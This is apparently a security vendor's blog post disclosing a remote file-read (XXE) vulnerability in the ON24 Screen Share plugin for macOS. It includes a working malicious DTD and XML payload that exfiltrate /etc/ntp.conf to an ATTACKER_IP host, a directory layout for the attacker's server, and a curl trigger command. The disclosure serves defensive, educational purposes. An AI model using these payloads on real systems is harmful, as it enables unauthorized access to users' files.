Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Vulnerability in ON24 Plugin for macOS Shares More Than Just Your Screen

ON24 presenter mode requires you to install a plugin that is used to share your screen. For the macOS app (DesktopScreenShare.app), the plugin is started automatically once a user logs on. If you ever presented using ON24 platform, you’ll have an entry like this on a macOS system:

P1

Once the plugin starts it launches a simple web server on port 5012. What is more important, via a series of requests, malicious users on the same network can fetch files from the computer running the plugin without any authorization.

Let’s take a deeper look at how this happens. We will discuss ON24 Screen Share plugin version 1. An attacker will have access to the HTTP server created by the Screen Share plugin on TCP port 5012 as long as he or she is on the same local area network. Here is a typical output of an nmap scan from a remote machine:

P2

Next, the attacker must prepare another HTTP server that will handle configuration file requests originating from the Screen Share plugin. A very simplistic approach would be to use Python code to do that (refer to our POC on GitHub).

Attacker-provided HTTP server must serve files from the following directory structure:

files/
    ext2.dtd
    log
    eventManager/
        EventLogServlet
    view/
        screenshare/
            prod-north_america-ingress.xml

In red are actual files, in black are directories. Here is the contents of DTD and xml files:

ext2.dtd

<!ENTITY % file SYSTEM "file:///etc/ntp.conf">
<!ENTITY % wrapper2 "<!ENTITY send SYSTEM 'http://ATTACKER_IP:PORT/log?%file;'>">
%wrapper2;

prod-north_america-ingress.xml

<?xml version="1.0" ?>
<!DOCTYPE fms-server SYSTEM "http://ATTACKER_IP:PORT/ext2.dtd">
<screenshare-ingress-servers><fms-server>&send;</fms-server></screenshare-ingress-servers>

ATTACKER_IP:PORT combination must be replaced with actual IP and PORT values of the attacker-provided HTTP server.

In the above directory structure, log and EventLogServlet are empty files.

The attack itself is triggered by a simple HTTP request like below (again, replace ATTACKER_IP:PORT with the attacker-provided HTTP server information first):

curl -v "http://TARGET_IP:5012/start?param1=&hostname=ATTACKER_IP:PORT&eventId=1&presenter=1&presenterName=MR&_="

The above request will reach out to the built-in HTTP server of the Screen Share plugin, which in turn will try to collect its configuration from hostname value which will go to the attacker-controlled HTTP server. There, a simple XML External Entity vulnerability (XXE) will be exploited to send back the contents of files readable by the currently logged-on user. One caveat is that the path of the file to be read must be known beforehand.

If the HTTP server hosted by the attacker is not reachable, a message like that below will pop up on the victim’s macOS:

P3

If the HTTP server is reachable, the exploit will work:

P4

This proves that the file in question (/etc/ntp.conf) is read and its contents are sent via URL request to the attacker-controller server.

As a part of our Responsible Disclosure policy, Trustwave has reached out to the ON24 to ensure that a patch was released prior to public disclosure. A patch was released but we have been unable to verify it.

References
TWSL2021-010 : Remote File Access Vulnerability in ON24 ScreenShare Plugin for macOS

Latest SpiderLabs Blogs

Ukrainian Intelligence Claims Successful Compromise of the Russian Ministry of Defense

On March 4, 2024, the Telegram channel of the Main Directorate of Intelligence of the Ministry of Defense of Ukraine (GUR) was updated with assertions that they executed a successful cyberattack...

Read More

Cost Management Tips for Cyber Admins

As anyone who has filled out an expense report can tell you, cost management is everyone's responsibility. Organizations must apply a careful balance of budget planning and expenditures that are in...

Read More

Resurgence of BlackCat Ransomware

Updated March 8: Based on our experience, we believe that BlackCat's claim of shutting down due to law enforcement pressure is a hoax. We anticipate their return under a new guise or brand after...

Read More